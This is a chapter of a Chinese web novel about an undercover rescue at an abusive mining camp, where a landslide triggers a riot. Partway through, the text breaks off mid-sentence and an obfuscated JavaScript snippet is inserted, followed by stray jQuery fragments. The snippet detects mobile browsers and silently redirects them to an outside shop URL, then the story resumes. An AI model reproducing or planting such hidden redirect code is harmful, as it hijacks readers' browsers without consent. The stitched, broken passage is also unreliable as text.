文趣网 > 其他小说 > 社畜拯救计划 > 23. 第 23 章
    大粗老爷们聊天没什么技巧,都不是什么文化人,聊的无非就是你老家哪里的?为啥干这儿活?家里几口人?一些家常便话。

    洛慎就顺着他们的话说,他们老家是哪里的,洛慎老家就是哪里的;为啥干这儿活,那就怎么悲惨怎么说;家里几口人,三口人,有个娃,为了赚钱孩子留守呢。

    这说到孩子几个人便更有话说了。一个看起来很凶的大老爷们,一聊到孩子,眼眶立马红了。

    “这儿活……”男人摆摆手,哽咽着,“如果不是为了孩子,谁干啊。搞不好小命就没了,钱就那么点,这么长时间孩子一面也没见到。”

    “哎呦行了老陈,少说点吧,多说多错。”旁边一个偏瘦的中年男子拍了拍老陈的肩,提醒他别说了。

    老陈摸了把眼泪:“不说不说了,老弟咱们虽然第一次见面,但是跟你聊天我开心,你叫啥,咱们当个兄弟。”

    手在衣服上抹了好几遍,感觉干净了洛慎才把手递过去:“大哥,你叫我小洛就行,这个是我老婆,小姜。”

    介绍到姜灼的时候,姜灼伸出手和大家一一握着表示敬意。

    “行,小洛、小姜我跟你们说,”老陈示意他们俩凑近,“待会不管谁来取这个货,取多少,你都当做没看见,听懂了没?”

    老陈说话时眼睛还时不时地瞥着外面。

    “大哥这是为啥呢?”老陈话里明显有话,洛慎想从他口中再套出一些,毕竟知己知彼才能百战百胜,况且营救韩渡他们只有一次机会。

    老陈被他这么一问,瘪着嘴,看样子不想说,瞅了瞅旁边偏瘦的中年男子。

    姜灼在心里估摸着,这位中年男子看样子在老陈心里地位不小,说话有一定的分量。

    洛慎一直问,没人打圆场,确实容易让人警惕。姜灼笑盈盈地站起身,解释道:“哥,您要是不想说,咱就不说,这货他就是嘴巴不把门,啥都想问。”

    偏瘦的中年男子咧嘴笑了笑,慢悠悠地开了腔:“小洛啊,你老婆比你会说话。”

    “哥,确实我不对我不对……”

    两人示着弱,降低了偏瘦中年男子的防备心,中年男子拍了拍老陈的肩:“说吧,都是兄弟。”

    老陈这才敢张口,小声说道:“还能有啥,管矿场的,要贪一部分。”

    “咱们这个矿上这么胆大,管这块的那群人手段那么狠,他咋敢的啊。”姜灼装作很震惊的样子。

    “咳,说了你们可能不信,管这儿的,是在……”老陈指了指天。

    姜灼害怕道:“这…这啥意思,神仙管这里啊。”

    “堪比神仙,挖这矿,都是为了给上面送的。”

    洛慎和姜灼对视一眼,这“神仙”不用多言,两人心里都明白,就是总部。如果真是如此,那总部就不是简简单单不管这里的问题了。

    姜灼还想再问问,路边巡视的人突然走近,打断了他们。

    “干什么呢!”

    老陈立马识趣解释道:“哥,我们就聊会儿天,立马去休息。”

    巡视的人白了他一眼,招呼了一大波人,一波一波的搬着卸下来的货,等货只剩下一半,他们才停下手。

    洛慎和姜灼跟着老陈他们一块儿低着头,什么话也不敢说,等人走完,才敢松口气。

    大卡车送来的货一大部分都是粮食,巡察的人搞走了一大半,就只剩下一点。

    “大哥,这些都是粮食,他们拿了一半,那工人吃啥?”姜灼这次是真的好奇。

    “还能吃啥,不吃呗。老妹儿,这里工人他们都不当人。”

    老陈说完领着他们进了司机的休息棚。司机的休息棚要比工棚好很多,十几个人睡一块,总比几十个人睡的舒坦。

    老陈给他们指了两个靠里的铺位,又从自己床底下摸出两瓶水递过来。

    “凑合喝,这儿的水都是限量给的。”老陈低声说道。

    “你们俩既然来了,就记住我那句话,不管看见啥,别多嘴,别多事。”

    洛慎接过水,道了谢,拧开瓶盖递给姜灼先喝。姜灼抿了一口,目光不动声色地扫过整个休息棚。十几个铺位,有几个正躺着,面朝墙壁,不知道是睡了还是懒得动。

    姜灼紧靠着洛慎,小心翼翼地在他耳边说道:“今晚救韩渡可是好时机。”

    洛慎没有回答她的话,而是面向老陈,又问道:“哥,那群工人离得远吧,我担心他们……你懂的哥。”

    “你放心,那群工人已经麻木掉了,他们怕巡察的。”

    老陈说完这句话,翻了个身,面朝墙壁,显然不想再聊了。

    棚子里安静下来,只剩此起彼伏的呼噜声和外面偶尔传来的脚步声。洛慎和姜灼并肩躺在铺位上,谁也没合眼。

    约莫过了两个小时,棚外的灯灭了。洛慎轻轻碰了碰姜灼的手背,两人同时坐起身。黑暗中,老陈的呼吸声均匀而沉重,其他人也睡得很死。

    洛慎摸到鞋,压低声音在姜灼耳边说:“工人区在东边,靠近山。一直都有巡察,咱们这次可得小心点。”

    姜灼点点头,两人猫着身子往外走,外面的矿灯一直开着,照得敞亮。两人只能沿着铁皮房的墙边一点点地移动着,远处每经过一个巡察的,两人的心就急剧地跳动着,生怕被发现。

    东边的工人区还没走近,就闻到一股潮湿的霉味混着汗臭。

    远处,姜灼能隐隐约约地看见两个拿枪的巡察在工人休息区踱步,相隔差不多五米远,这个距离说近也不近,说远也不远,运气好倒真能进去,可是出来便困难了。

    姜灼脑子里涌出个不好的想法,这么大的矿区,要真想从他们眼皮子底下带走人,这几乎不可能。可如果引发一场暴乱呢?所有人都在混乱中,他们还有车,救到人的几率很大。

    可这样的想法在脑海里浮现后,她却不敢告诉洛慎。她犹豫了,犹豫到底要不要这么做。如果她真这么做了,那些巡察的人有枪,暴动一旦开始就会死很多的人;可如果她不这么做,她就不可能救到韩渡……

    就在她犹豫不决时,矿山深处传来一声沉闷的巨响。

    姜灼和洛慎对视一眼,异口同声:“爆破?”

    可是再仔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961476|213894||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    细想想却不对劲,大晚上的他们爆破什么?

    紧接着巨响再次响起。山腰处腾起一大片灰白色的尘雾,石块滚落的声音像闷雷一样从高处压下来。

    “塌了!山塌了!”

    不知道谁喊了第一声,整个矿区瞬间炸开了锅。

    姜灼看见工人区的方向,几十个人影在昏暗中乱窜。工人休息的大棚疯了一般人流涌出,那两个拿枪的巡察愣了一瞬,随即举起枪朝天鸣了两下,大声呵斥,可根本没人听。

    “老陈!”洛慎忽然压低声音喊了一句。

    姜灼顺着他目光看去,老陈不知什么时候也跑了出来,站在休息棚门口,脸上全是惊恐。他身边那个偏瘦的中年男人正在拉他,嘴里喊着什么,被周围的嘈杂声吞没了。

    “走!”洛慎一把抓住她的手腕。

    “去哪?”

    “趁乱去工人区!”

    姜灼被他拽着跑。四周全是乱窜的人,巡察的枪声又响了两下,但人群已经彻底失控。

    有人开始砸东西,铁皮房被推倒,油桶滚了一地,子弹擦出的火星点燃了地上的散油,火势迅速燃烧开来。

    姜灼看见几个工人围住了一个巡察的,那个巡察的枪被夺下来扔到一边,人被打倒在地。

    尖叫,哭喊,响彻天地。

    两人逆着人流往东边冲。越靠近工人区,粉尘越浓,呼吸都困难。姜灼用袖子捂住口鼻,眯着眼辨认方向。

    工人区的铁皮棚已经塌了大半,有的被山上滚下来的碎石砸穿了顶,里面传来断断续续的哭喊和求救声。

    这种时刻姜灼什么都开始不顾,大声喊着:“韩渡!韩渡!”

    “那边!”洛慎忽然拽着她往左拐。

    姜灼顺着他指的方向看过去,塌了半边的棚子底下,有人正往外拖人。拖人的动作很急,那人身形瘦高,即便弯着腰,身影的轮廓姜灼也万分熟悉。

    是……韩渡。

    姜灼不顾一切,跑向远处的韩渡:“韩渡!”

    韩渡闻声猛地抬头,满脸灰白粉尘,只剩下一双明亮的眼睛。他看着向他方向跑来的中年妇女,愣了一下,随即大吼:“别过来!这边要塌了!”

    话音刚落,头顶传来咔嚓一声脆响。姜灼抬头,半截钢架正从高处歪下来,连着大片铁皮和碎石。

    洛慎一把将姜灼往旁边推,自己也跟着扑出去。钢架砸在他们刚才站的位置,轰的一声,尘土掀起。

    姜灼从地上爬起来,耳朵嗡嗡作响。她看见韩渡已经拖着那个人挪到了相对安全的空地,正弯腰剧烈咳嗽。他身边还蹲着一个人,身形瘦小,缩成一团,双手死死抱着自己的膝盖。

    “韩渡!”姜灼跑过去,在他面前蹲下。

    韩渡抬起头,疑惑地看着她的脸:“你是?”

    “死东西,我是姜灼啊。”姜灼猛地抱住韩渡,控制不住地嚎啕大哭,现在她不需要压着自己的声音,不需要装着沉稳的中年人。

    韩渡的手悬在半空,他难以置信,他梦寐以求相见的人如今就出现在他眼前,正抱着他痛苦,是梦吗……